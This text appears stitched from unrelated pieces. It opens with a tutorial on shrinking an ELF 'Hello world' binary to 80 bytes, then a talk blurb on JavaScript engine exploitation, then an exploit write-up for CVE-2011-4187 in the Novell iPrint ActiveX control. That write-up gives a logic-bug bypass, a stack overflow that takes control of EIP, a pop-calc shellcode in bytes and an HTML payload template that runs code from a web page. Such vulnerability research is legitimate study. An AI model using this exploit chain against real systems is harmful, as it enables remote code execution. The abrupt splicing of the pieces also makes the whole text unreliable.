0000000000002000 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
000000000000215c r __FRAME_END__
0000000000002014 r __GNU_EH_FRAME_HDR
0000000000004010 D __TMC_END__
0000000000004010 B __bss_start
                 w __cxa_finalize@@GLIBC_2.2.5
0000000000004000 D __data_start
0000000000001100 t __do_global_dtors_aux
0000000000003dc0 d __do_global_dtors_aux_fini_array_entry
0000000000004008 D __dso_handle
0000000000003db8 d __frame_dummy_init_array_entry
                 w __gmon_start__
0000000000003dc0 d __init_array_end
0000000000003db8 d __init_array_start
00000000000011e0 T __libc_csu_fini
0000000000001170 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000004010 D _edata
0000000000004018 B _end
00000000000011e8 T _fini
0000000000001000 t _init
0000000000001060 T _start
0000000000004010 b completed.8061
0000000000004000 W data_start
0000000000001090 t deregister_tm_clones
0000000000001140 t frame_dummy
0000000000001149 T main
                 U printf@@GLIBC_2.2.5
00000000000010c0 t register_tm_clones

Our program has symbols, that’s additional information we don’t need to display our string.

Too much code

First of all, the only executable section we need is .text, that’s where our main code is. But we notice there are instructions outside this section:

0000000000001000 <.init>:
    1000:   f3 0f 1e fa             endbr64
    1004:   48 83 ec 08             sub    rsp,0x8
    1008:   48 8b 05 d9 2f 00 00    mov    rax,QWORD PTR [rip+0x2fd9]
    100f:   48 85 c0                test   rax,rax
    1012:   74 02                   je     1016 <__cxa_finalize@plt-0x2a>
    1014:   ff d0                   call   rax
    1016:   48 83 c4 08             add    rsp,0x8
    101a:   c3                      ret

Also, there are 388 bytes of instructions in .text section, that’s a lot considering we just want to output “Hello world!”.

Too much empty space

We also notice something interesting in our binary, there is a lot of empty space, filled with zeroes.

00000600: 0000 0000 0000 0000 0000 0000 0000 0000
00000610: 0000 0000 0000 0000 0000 0000 0000 0000
00000620: 0000 0000 0000 0000 0000 0000 0000 0000
00000630: 0000 0000 0000 0000 0000 0000 0000 0000
00000640: 0000 0000 0000 0000 0000 0000 0000 0000
00000650: 0000 0000 0000 0000 0000 0000 0000 0000
00000660: 0000 0000 0000 0000 0000 0000 0000 0000
00000670: 0000 0000 0000 0000 0000 0000 0000 0000
[...]

For example the space above has 2544 bytes of zeroes in total. There are several empty spaces like this.

Quick optimizations

We will go ahead to try and reduce our executable’s size, we will implement several methods so you can get an idea of what can be done to produce the smallest possible binary by manipulating compiled binary.

Strip symbols

First of all, let’s remove all the symbols and relocation information from the executable.

$ nm smallest_elf.bin
nm: smallest_elf.bin: no symbols

After the operation, the size of the binary goes from to 16704 to 14472.

New size: 14472 bytes.

Remove unnecessary sections

We can also remove some sections that are unnecessary to the main task of our program, for example .data, or .gnu.version.

Indeed, we do not need those sections, for example our string “Hello world!” is already stored in .rodata section :

00002000: 0100 0200 4865 6c6c 6f20 776f 726c 6421  ....Hello world!

Major modifications

We will go ahead to try and reduce our executable’s size even more, we will implement several methods so you can get an idea of what can be done to produce the smallest possible binary while still keeping its initial function : displaying a string.

Get rid of programming language

We all now programming languages are converted to assembly language by the compiler during the compilation process and the code can even be optimized automatically. The output may result in more instructions than needed for our task.

Let’s re-write our code in assembly language!

section .data
    msg:    db "Hello world", 33, 10, 0
    format: db "%s", 10, 0

section .text
    global main

main:
    extern printf
    push rbp
    mov rbp, rsp
    mov rdi, msg
    call printf
    pop rbp
    ret

We assemble the code with nasm then link the object with gcc then run it.

$ nasm -f elf64 smallest_elf.asm && gcc smallest_elf.o -o smallest_elf.bin -no-pie
$ ./smallest_elf.bin
Hello world!

New size: 14368 bytes.

We only reduced our file size by 104 bytes by completely rewriting it in assembly. Why?

Well by giving the assembled code object to gcc we only told it what the .text content should look like, but all the other sections and additional data are still here. In order to get rid of it, we will have to link our binary ourselves, getting rid of gcc routines.

Getting straight to the point

We have rewritten the whole file in assembly and compiling it with GCC, but we’re kind of stuck here. How do we reduce the size even more? Maybe trying another compiler? Reducing code even more?

Let’s get straight to the point: we need the program to display “Hello world!”, that’s it. We don’t want external dependencies like the printf() function.

Let’s rewrite the whole assembly code and remove all external references and symbols!

Removing external references

We will make the following changes to our assembly code:

• Removing any call to external functions like printf(). Instead, we’ll use direct system calls like write() and exit().
• Removing references to a “main” function, we don’t need that, we don’t need “functions” in our program.
• Removing prologues, epilogues, and stack frames: yes, those useless bytes at the beginning and end of our code, why would we need them here?
• The whole code will be strictly about printing our buffer and exiting the program.

global _start

section .data
        msg:    db "Hello world", 33, 10, 0

section .text

_start:
        mov rdi, 1      ; standard output
        mov rsi, msg    ; buffer to print
        mov rdx, 14     ; size of the buffer

        mov rax, 1      ; set write syscall

        syscall         ; call write

        mov rdi, 0      ; value to return
        mov rax, 0x3C   ; set exit syscall

        syscall         ; call exit

Get rid of compilers

We don’t have any C code anymore, why would we even need a compiler? Let’s get rid of gcc and directly link the code ourselves.

$ nasm -f elf64 smallest_elf.asm
$ ld -m elf_x86_64 smallest_elf.o -o smallest_elf.bin

Let’s run it and check:

$ ./smallest_elf.bin
Hello world!

With the rewritten assembly code and linking without using any compiler, we reduced the size to 8488 bytes.

New size: 8488 bytes.

Get rid of the data section

We initially put our “Hello world!” string in the .data section, but at this point we’re not following any convention and we’ll just remove the .data section to put our string directly inside the .text code section. Yeah it’s a bit weird but don’t worry, it will work.

global _start

section .text

_start:
        mov rdi, 1      ; standard output
        mov rsi, msg    ; buffer to print
        mov rdx, 14     ; size of the buffer

        mov rax, 1      ; set write syscall

        syscall         ; call write

        mov rdi, 0      ; value to return
        mov rax, 0x3C   ; set exit syscall

        syscall         ; call exit
msg:
        db      "Hello world", 33, 10, 0

Doing this small manipulation, we manage to divide by two the last size of the binary!

New size: 4360 bytes.

Analysing the situation

We did pretty much everything we could to reduce the binary size:

• Writing directly assembly code
• No external function, no stack frames, only code section
• No compiler, directly linking
• Stripping the symbols

At this point, there isn’t much more we can do in a conventional way to reduce the binary size. By the way, why is it still that big?

We can notice through readelf command that our binary still has a lot of stuff inside of it. We have the .shstrtab section header, and a huge amount of empty space, because some tables and sections have been encoded as “empty spaces” filled with null bytes in the binary.

Nearly 92% of our binary is filled with useless empty spaces.

Check the binary composition with readelf -a smallest_elf.bin and the actual data in hexadecimal with xxd smallest_elf.bin. Notice all the zero bytes.

Going further

Some step in the linking process will produce this kind of ELF binary filled with a lot of empty space, that will simply increase our binary size.

Now we will have to build our binary ourselves, manually, without relying on the assembler or the linker.

Identifying the needed information

There is a lot of useless information in our binary so let’s start by identification strictly what we need:

• The ELF header, otherwise it would not be considered an an ELF by the system and could not be loaded
• Our actual code

This portion at the beginning is our header:

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 0010 4000 0000 0000  ..>.......@.....
00000020: 4000 0000 0000 0000 4810 0000 0000 0000  @.......H.......
00000030: 0000 0000 4000 3800 0200 4000 0300 0200  ....@.8...@.....
00000040: 0100 0000 0400 0000 0000 0000 0000 0000  ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000                      ........

And this portion is our code:

00001000: bf01 0000 0048 be27 1040 0000 0000 00ba  .....H.'.@......
00001010: 0e00 0000 b801 0000 000f 05bf 0000 0000  ................
00001020: b83c 0000 000f 0548 656c 6c6f 2077 6f72  .<.....Hello wor
00001030: 6c64 210a 00                             ld!..

And that’s it, we don’t really care what all the remaining is.

Let’s manually construct our new binary with only these two blocks of data. Use any method you like to do that, I used simple Linux commands.

$ head -c 120 smallest_elf.bin > new_smallest_elf.bin.header # extract header
$ tail -c 264 smallest_elf.bin > tmp.bin # extract end of file starting from our code
$ head -c 53 tmp.bin > new_smallest_elf.bin.code # extract our code from it
$ cat new_smallest_elf.bin.header new_smallest_elf.bin.code > new_smallest_elf.bin # assemble both blocks into one final ELF executable

So this is what we get:

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 0010 4000 0000 0000  ..>.......@.....
00000020: 4000 0000 0000 0000 4810 0000 0000 0000  @.......H.......
00000030: 0000 0000 4000 3800 0200 4000 0300 0200  ....@.8...@.....
00000040: 0100 0000 0400 0000 0000 0000 0000 0000  ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 bf01 0000 0048 be27  .............H.'
00000080: 1040 0000 0000 00ba 0e00 0000 b801 0000  .@..............
00000090: 000f 05bf 0000 0000 b83c 0000 000f 0548  .........<.....H
000000a0: 656c 6c6f 2077 6f72 6c64 210a 00         ello world!..

Obviously, a lot of information from the headers is inaccurate since we modified the whole structure of the file and the program will not execute:

$ ./new_smallest_elf.bin
-bash: ./new_smallest_elf.bin: cannot execute binary file: Exec format error

Let’s check what’s happening with readelf:

$ readelf -a new_smallest_elf.bin
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401000
  Start of program headers:          64 (bytes into file)
  Start of section headers:          4168 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         2
  Size of section headers:           64 (bytes)
  Number of section headers:         3
  Section header string table index: 2
readelf: Error: Reading 192 bytes extends past end of file for section headers
readelf: Error: Section headers are not available!
readelf: Error: Reading 112 bytes extends past end of file for program headers

There is no dynamic section in this file.
readelf: Error: Reading 112 bytes extends past end of file for program headers

Several issues identified here:

• Entry point address incorrect: our new code starts at offset 0x78, not 0x1000.
• Start of section headers incorrect: we do not have any section header, this should be zero.
• Number of program headers incorrect: we only have 1 program header and not 2.
• Size of section headers incorrect: we do not have any section header, this should be zero.
• Number of section headers incorrect: we do not have any section header, this should be zero.
• Section header string table index: we do not have any section header, this should be zero.

We also need to adjust several stuff in the program header:

• Virtual address of program needs to be changed from 0x400000 to 0x400078 because this is where our program starts. Not aligned? We don’t care.
• Permissions of the segment in the program header is read-only (0x004) and needs to be readable, writable and executable for simplicity (0x007).

We manually apply all those modification directly through a hexadecimal editor and run readelf again:

$ readelf -a new_smallest_elf.bin
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400078
  Start of program headers:          64 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0

There are no sections in this file.

There are no section groups in this file.

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000078 0x0000000000400078 0x0000000000400000
                 0x00000000000000b0 0x00000000000000b0  RWE    0x1000

There is no dynamic section in this file.

There are no relocations in this file.
No processor specific unwind information to decode

Dynamic symbol information is not available for displaying symbols.

No version information found in this file.

This time, no error. But we still need to adjust one small detail inside our actual code. Indeed, we assembled the code before making all those modifications and we are calling the write function: write(1, buffer, 13);

Indeed, the “Hello world!” buffer is no longer located at offset 0x1027, the new offset is 0x9f.

Here is the final modified binary (modified bytes versus the previous dump):

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8.........
00000040: 0100 0000 0700 0000 7800 0000 0000 0000  ........x.......
00000050: 7800 4000 0000 0000 0000 4000 0000 0000  x.@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 bf01 0000 0048 be9f  .............H..
00000080: 0040 0000 0000 00ba 0e00 0000 b801 0000  .@..............
00000090: 000f 05bf 0000 0000 b83c 0000 000f 0548  .........<.....H
000000a0: 656c 6c6f 2077 6f72 6c64 210a            ello world!.

Let’s test it now:

./new_smallest_elf.bin
Hello world!

New size: 172 bytes.

We have hit a new record by reducing our initial program size from 16704 to only 172 bytes.

We could call it a day, but hey, can we actually do better?

Going even further

Let’s try to shrink even more our executable. But in order to do that, let’s modify a little bit the initial exercise. We no longer need to display “Hello world!” string, but just compile any ELF executable, smallest as possible.

In order to be considered a valid executable:

• It must execute at least one assembly instruction
• It must not crash

Let’s take our functional header and remove all the custom code at offset 0x78. We will append new code there.

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8.........
00000040: 0100 0000 0700 0000 7800 0000 0000 0000  ........x.......
00000050: 7800 4000 0000 0000 0000 4000 0000 0000  x.@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000                      ........

Smallest possible code

Considering the previous conditions, our new code must include a routine to properly exit the program. We could try something like this:

mov rax, 0x3C   ; set exit syscall
syscall         ; call exit

Yes, we did omit the rdi register containing the value to be returned by the program. We don’t really care, the return value is not a condition. We’ll let the program return whatever will be in the register.

Once converted to opcodes we get b8 3c 00 00 00 0f 05, so 7 bytes. Instead of using a mov instruction, let’s use push and pop for the same result.

push 0x3C       ; set exit syscall
pop rax
syscall         ; call exit

This gets us the opcodes 6a 3c 58 0f 05 (5 bytes) which is slightly better, we’ll stick with that one. Let’s append it to our header and run it!

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8.........
00000040: 0100 0000 0700 0000 7800 0000 0000 0000  ........x.......
00000050: 7800 4000 0000 0000 0000 4000 0000 0000  x.@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 6a3c 580f 05         ........j<X..

We notice that the program runs fine and even returns the default zero value.

$ ./smallest_elf_v2.bin
$ echo $?
0

New size: 125 bytes.

Going beyond the documentation

Actually we can still save a few bytes by taking advantage of the fact that some portions of the header will not be verified upon execution. For example the 7-bytes “padding” after the magic byte or the last elements of the ELF header.

First, let’s move our actual code, from the end of the program, directly inside the padding of the ELF header, and update the offsets accordingly. It will no longer be located at 0x78, but 0x08.

Then, let’s overlap the ELF header and the program header at the very end of the ELF header, by starting the program header at offset 0x38 instead of 0x40. This works because the original overwritten data is 0100 0000, and our program header starts with 0100 0000 as well.

Which gives us the following binary:

00000000: 7f45 4c46 0201 0100 6a3c 580f 0500 0000  .ELF....j<X.....
00000010: 0200 3e00 0100 0000 0800 4000 0000 0000  ..>.......@.....
00000020: 3800 0000 0000 0000 0000 0000 0000 0000  8...............
00000030: 0000 0000 4000 3800 0100 0000 0700 0000  ....@.8.........
00000040: 0800 0000 0000 0000 0800 4000 0000 0000  ..........@.....
00000050: 0000 4000 0000 0000 b000 0000 0000 0000  ..@.............
00000060: b000 0000 0000 0000 0010 0000 0000 0000  ................

New size: 112 bytes.

Tricks and more tricks

The previous idea of overlapping the two headers can actually be applied to a larger scale.

The range from 0x18 to 0x40 can actually contain both ELF header and program header overlapped. The values that can be modified without impacting the program’s functionality are in bold.

By modifying the image address of our program and relocating our code right after the magic number, we get this executable of 80 bytes:

00000000: 7f45 4c46 6a3c 580f 0500 0000 0000 0000  .ELFj<X.........
00000010: 0200 3e00 0100 0000 0100 0000 0100 0000  ..>.............
00000020: 1800 0000 0000 0000 1800 0000 0100 0000  ................
00000030: 0000 0100 0000 3800 0100 0000 0000 0000  ......8.........
00000040: 0100 0000 0000 0000 0000 0000 0000 0000  ................

What we notice first is that most tools are lost with this binary. The Linux file command can only tell that this is an ELF, and readelf doesn’t like it either.

$ file smallest_elf.bin
smallest_elf.bin: ELF (AROS Research Operating System), unknown class 106

$ readelf -a smallest_elf.bin
ELF Header:
  Magic:   7f 45 4c 46 6a 3c 58 0f 05 00 00 00 00 00 00 00
  Class:                             <unknown: 6a>
  Data:                              <unknown: 3c>
  Version:                           88 <unknown>
  OS/ABI:                            AROS
  ABI Version:                       5
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x1
  Start of program headers:          1 (bytes into file)
  Start of section headers:          24 (bytes into file)
  Flags:                             0x0
  Size of this header:               24 (bytes)
  Size of program headers:           0 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 1 <corrupt: out of range>
readelf: Warning: possibly corrupt ELF file header - it has a non-zero section header offset, but no section headers

There are no sections to group in this file.

There is no dynamic section in this file.

Same thing for GDB debugger, it doesn’t recognize this file and refuses to debug it: not in executable format: file format not recognized.

But all things considered, this program actually runs fine and respects all our conditions:

# Normal run
$ ./smallest_elf.bin
$ echo $?
0

# Checking with strace
$ strace ./smallest_elf.bin
execve("./smallest_elf.bin", ["./smallest_elf.bin"], 0x7fffd6fb2730 /* 25 vars */) = 0
exit(0)                                 = ?
+++ exited with 0 +++

New size: 80 bytes.

Just for the art, let’s clean up the executable by setting to zero all bytes that are not needed.

00000000: 7f45 4c46 6a3c 580f 0500 0000 0000 0000  .ELFj<X.........
00000010: 0200 3e00 0000 0000 0100 0000 0100 0000  ..>.............
00000020: 1800 0000 0000 0000 1800 0000 0100 0000  ................
00000030: 0000 0000 0000 3800 0100 0000 0000 0000  ......8.........
00000040: 0100 0000 0000 0000 0000 0000 0000 0000  ................

Is it the end?

We have probably reached the limits of the ELF 64 bits format, we produced the smallest 64 bits ELF possible that does not crash upon execution and correctly exits with a 0 status code.

Final size: 80 bytes.

Final binary:

7f454c46 6a3c580f 05000000 00000000 02003e00 00000000 01000000
01000000 18000000 00000000 18000000 01000000 00000000 00003800
01000000 00000000 01000000 00000000 00000000 00000000

The talk below walks through the general methodology of approaching such an engine for offensive research: how to read the relevant parts of a multi-million-line C++ codebase, how to recognise the primitive shapes that lead to addrof / fakeobj, and how those primitives compose into a renderer-RCE chain.

It was given in French at the Quarks in the Shell 2023 conference, organised by Quarkslab.

For the written, generalized version of this material across JavaScriptCore and V8, see Exploiting JavaScript engines: from type confusion to code execution.

CVE-2011-4187

Stack buffer overflow in IppGetDriverSettings2 (nipplib.dll, Novell iPrint Client < 5.78). Reachable from a web page through the iPrint ActiveX controller (CLSID 36723F97-7AA0-11D4-8919-FF2D71D0D32C) on Windows XP. No public exploit at the time of research.

What we start with

A CVE number and one line on cvedetails:

Buffer overflow in the GetDriverSettings function in nipplib.dll in Novell iPrint Client before 5.78 on Windows allows remote attackers to execute arbitrary code via a long realm field, a different vulnerability than CVE-2011-3173.

That is the whole public record. No exploit, no write-up, no advisory detail beyond the sentence above. We know the vulnerable function, we know the parameter that reaches it, and we know it is a buffer overflow. Everything between that sentence and a running shellcode is ours to find.

The client only installs on Windows XP, so the work runs on a Windows XP SP3 virtual machine, with a Windows 10 box alongside for the SDK tooling. IDA for the static work, x64dbg for the dynamic work.

Finding the controller

The iPrint client ships an ActiveX controller, which is what makes this reachable from a web page at all. Searching the registry for Novell iPrint gives its CLSID:

The controller itself is ienipp.ocx, in C:\Windows\system32\, and the heavy lifting is delegated to nipplib.dll sitting next to it. Both are worth listing before opening either:

Browsing ienipp.ocx with the OLE/COM Object Viewer from the Windows 10 SDK lists every method the control exposes to a page:

GetDriverSettings is there, the name the CVE gives us, along with a GetDriverSettings2 variant. Instantiating the control from an HTML page and calling it is four lines:

<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/>
</object>
<script>
target.GetDriverSettings("uri", "realm", "user", "password");
</script>
</html>

Before spending a day in a disassembler it is worth proving the plumbing works. The control exposes a ShowMessageBox method, which is the cheapest possible test:

The CLSID is right, the calling convention is right, and a page can drive the control. Now we can go looking for the bug.

Reversing ienipp.ocx

Opening ienipp.ocx in IDA prompts for nipplib.dll, which is already a hint: the control is a front end and the real code lives in the library. We hand IDA the DLL from system32 and let it resolve.

Searching the imported functions for GetDriverSettings finds the entry point:

Following its cross-references shows it is called from exactly one place:

One call site, at ienipp.ocx:0x1000AE54. The block that leads to it is dense, and its strings are discouraging:

ipp://%s/ipp/IppSrvr sits right there, with %s waiting for the printer URL we control. The obvious reading is that the control talks to a real IPP server on port 631, and that nothing interesting happens until one answers correctly. That reading costs a lot of time, and the whole exploit is in seeing past it.

Two gates stand between a page calling the method and the vulnerable function running.

The first is a length check on each of the four parameters, printerUri, realm, userName and password, applied at the very top of the block:

Anything past 0x200 bytes is rejected here, before anything else runs. Keep that ceiling in mind, because it is what makes the rest of the bypass possible.

The second gate is the main block of the series:

The call marked in red decides the next jump. If sub_1000FBD0 returns anything other than zero, the vulnerable call is skipped and we jump straight to the end of the function. If it returns zero, and one further length check passes, the vulnerable function is called. That makes sub_1000FBD0 the gate that matters, so we rename it important_check and read it.

It is short. It calls IppMgmtGetServerVersion2, exported by nipplib.dll, and returns zero when that function returns zero:

That is everything the .OCX has to tell us. Two conditions reach the bug:

• the four parameters stay under 0x200 bytes each,
• IppMgmtGetServerVersion2 returns zero.

The second one is where the work is, and it lives in the library.

Reversing nipplib.dll

We open nipplib.dll on its own. IppGetDriverSettings2 is the eventual target, but there is no point reversing a function we cannot reach, so IppMgmtGetServerVersion2 comes first.

It forwards to sub_5C04B514, which is where the logic is:

A lot happens in there, and the IPP requests are somewhere inside it. The first idea that comes to mind is that we need a server to answer them.

Step back and read the graph as a set of conditions rather than as a protocol implementation, forgetting for a moment what the function is supposed to achieve, and a different question presents itself. The function returns -1 when it cannot get the server version, and we need zero. So: which jumps end at a return 0 block?

The first one does.

One of its two paths lands directly on a block that sets the return value to zero, with no further checks on the way:

The condition is backwards. If IppCreateServerRef returns NULL, IppMgmtGetServerVersion2 returns zero, and zero is the success code. An allocation and setup failure is being reported as a successful version probe. This is a programming logic bug: an error path that was never given its own return value.

The consequence is large. We do not have to satisfy the handshake, we have to break it. No server, no port 631, no negotiation, and no need to reverse the rest of the function at all. The whole checking process has a hole in it, and it is visible in the control flow graph without running anything.

So the question becomes: how do we make IppCreateServerRef fail?

A word on the dynamic side

Every time I needed to know what a function actually receives, or how the program behaves on a given return value, I ran Internet Explorer under x64dbg on the Windows XP machine, put a breakpoint on the call and read the stack. I will not repeat this for every function, so here is one example, on IppCreateServerRef:

The parameters pushed on the stack are the URL we passed in printerUri. So IppCreateServerRef is checking our URL, and with any luck it decides its return value without ever touching the network.

Making IppCreateServerRef fail

Back in IDA, we look for a block that returns failure and work out how to reach it:

The first jump depends on an allocator result, which we have no influence over. The second one depends on sub_50022960: if that helper returns anything other than zero, IppCreateServerRef takes the failure path, which is exactly what we want.

sub_50022960 checks the URL twice. The first check is on the total URL length, capped at 0x200. That would be an easy way to fail the function, except the .OCX already rejects any parameter past 0x200 before we ever get here, so this check can never trip.

The second check is more useful, and dynamic debugging is what surfaced it:

It measures the part of the URL that precedes ://. Here I passed testingipp as a test case. If that prefix exceeds 0x100 bytes, the function fails. That is the lever: we need a long prefix, long enough to fail this check, while the URL as a whole stays under the 0x200 the .OCX allows.

The chain, end to end

Four links, each one following from the last:

• A URL prefix longer than 0x100 bytes, in a URL shorter than 0x200 bytes, makes sub_50022960 fail.
• sub_50022960 failing makes IppCreateServerRef return NULL.
• IppCreateServerRef returning NULL makes IppMgmtGetServerVersion2 return zero, which is its success code. This is the logic bug.
• IppMgmtGetServerVersion2 returning zero makes important_check return zero, and IppGetDriverSettings2 is called with our arguments.

No server anywhere in that chain.

A theory is worth nothing until it runs, so we write a URL with a long prefix:

Then set a breakpoint on the IppGetDriverSettings2 call and load the page:

We reach the call. The bypass works, and it cost one long string. An error status handled carelessly took us straight to a critical function that would otherwise have needed a full IPP server implementation to reach, and possibly could not have been reached at all.

I insist on this because my first attempt was the other one. I built and emulated an IPP server, answering request by request, before noticing the branch above. That work is in the last section of this post; it produced nothing and I dropped it.

The vulnerable function

IppGetDriverSettings2 has one more gate before any interesting code, an strstr on the URL:

If the URL does not contain the literal iPrint-driver-profile-hiddenPA, the function returns. So we put that string in the suffix, after the ://, and move on. There is presumably a good reason for it inside the driver profile flow, and I did not look for it.

That is a choice worth stating plainly, because it comes up constantly when reversing something this size. We cannot understand all of a binary this large, so we understand the parts that stand between us and the goal, and we leave the rest. A string check we can satisfy in one line does not need a rationale.

Now the bug itself. We know it is a buffer overflow on realm, and one strcpy among the many in this function takes realm as its source:

The destination is a fixed-size stack buffer and nothing measures the source. Passing a realm of 0x200 bytes, the largest the .OCX will pass through, should overflow it well past the saved return address.

Exploitation

Two operational notes before the debugging starts, both of which cost me time.

Once the controller crashes, it keeps crashing on every subsequent call, so the Windows XP machine needs a reboot between attempts. I never established why.

And attaching a debugger requires a running process, so each round starts by loading a harmless payload, AAAA in every field, attaching x64dbg to Internet Explorer, and only then opening the real page.

Controlling EIP

First attempt, realm filled with A up to the cap:

Continuing to the crash and reading the registers:

The overflow happened, but the crash is not the one we want. EIP is intact; EBX holds 0x41414141 and the fault is inside a strlen that received it as an address. We overwrote a pointer that a later call in the same frame uses, and it died before the function could return.

There are two possibilities in that situation, and they point in opposite directions. Either we wrote too far and should shorten the payload, or we did not write far enough, and the fix is to write more while replacing the bytes that cause the early crash with something valid. That second technique is worth knowing: when a program dies before reaching the saved return address, give it the minimum it needs not to die, usually any mapped address, since whatever it does with it stops mattering the moment we take the execution flow.

Here the choice is made for us. The .OCX caps us at 0x200 bytes, so growing the payload is not an option and we shorten it instead:

The overflow now stops exactly on the saved return address, ret loads it, and EIP is ours.

When the offset is not obvious, removing characters until the crash changes is one way to find it, and a cyclic pattern such as AAAABBBBCCCCDDDD is the faster one.

Windows XP SP3 in this configuration has neither DEP nor ASLR, so from here the remaining work is bookkeeping:

• get a shellcode that pops calc.exe,
• write it into one of the other parameters,
• run a payload that does not crash, and read the address that parameter landed at,
• without rebooting, so the address stays valid, build the overflow payload with that address in place of 0x41414141,
• load it.

The shellcode

realm cannot carry both the padding to the saved return address and a shellcode. The other three parameters are pushed on the stack ahead of it and are not put through the same downstream processing, so userName is the natural place to store it.

A pop-calc shellcode for Windows XP SP3 EN, sixteen bytes, originally from shell-storm (archived copy, the domain no longer resolves):

"\x31\xC9"             // xor  ecx, ecx
"\x51"                 // push ecx
"\x68\x63\x61\x6C\x63" // push 0x636c6163   ('calc')
"\x54"                 // push esp
"\xB8\xC7\x93\xC2\x77" // mov  eax, 0x77c293c7
"\xFF\xD0"             // call eax

Splicing raw bytes into an HTML file is what xxd -p -r is for. The page we load first carries the shellcode in userName and a harmless realm, so nothing overflows:

Finding its address

With a breakpoint on the IppGetDriverSettings2 call, the arguments are on the stack and the third one is userName:

0x02843728 on this run, and dumping that address shows the shellcode sitting there. The layout is stable enough across calls that the address holds for the next one, as long as the process is not restarted.

Jumping to it

The last payload replaces the 0x41414141 filler at the saved-return-address offset with 0x02843728, little-endian:

$ xxd -p -r payload > win_payload.html

Which gives a page whose call looks like this, abbreviated:

<script>
target.GetDriverSettings(
  "<0x100+ bytes of filler>://iPrint-driver-profile-hiddenPA",
  "<padding to the saved return address>\x28\x37\x84\x02",
  "<calc shellcode bytes>",
  "A");
</script>

Detach the debugger, load the page in Internet Explorer:

Arbitrary code execution from a single HTML page, with no IPP server anywhere.

Paths that failed

Both of the routes below came before the one above, and neither reached the result. They are worth writing down: the first is the reason the logic bug is interesting, and the second is a dead end with a provable reason for being dead, which is more useful than an inconclusive one.

Emulating an IPP server

Before noticing that IppCreateServerRef failing is treated as success, the obvious plan was to make IppMgmtGetServerVersion2 succeed honestly by answering the requests it makes. I gave a machine a domain name, opened port 631 with nc and waited to see what the client sends:

$ nc -lvp 631
Listening on [0.0.0.0] (family 0, port 631)
Connection from x.x.x.x 35136 received!
POST /ipp/IppSrvr HTTP/1.1
Accept: application/ipp
Accept-Charset: UTF-8,ISO-8859-1
Accept-Language: en-us, en
User-Agent: Novell iPrint Client - v05.74.00
Cache-Control: no-cache
Pragma: no-cache
Host: iprint.local-intranet-do.cf:631
Content-type: application/ipp
Connection: keep-alive
Content-length: 112

@G..attributes-charset.utf-8.H..attributes-natural-language.en-us.D.operation-name.get-server-version.server-version.1.1

So the POST to /ipp/IppSrvr has to succeed. Reversing IppMgmtGetServerVersion2 further shows three calls that matter:

The first makes the network request. The second, nipplib.5C0450B3, is a large set of tests on the answer. The third runs additional checks and is called when the second fails. Everything depends on the second one, so that is the one I read:

• A version-number is read from the first bytes of the response body. Sending 0x100 or 0x101 passes it.
• The IPP HTTP header is validated. I set up a CUPS server, captured what it replies to a real client, and reused its header verbatim.
• A server-version attribute has to be present in the attribute group. IppFindAttributeInSet walks the attributes received and compares each name against the one requested.

Encoding an attribute group correctly means reading the specification, RFC 8010, which lays out the message format field by field:

   -----------------------------------------------
   |                  version-number             |   2 bytes  - required
   -----------------------------------------------
   |               operation-id (request)        |
   |                      or                     |   2 bytes  - required
   |               status-code (response)        |
   -----------------------------------------------
   |                   request-id                |   4 bytes  - required
   -----------------------------------------------
   |                 attribute-group             |   n bytes  - 0 or more
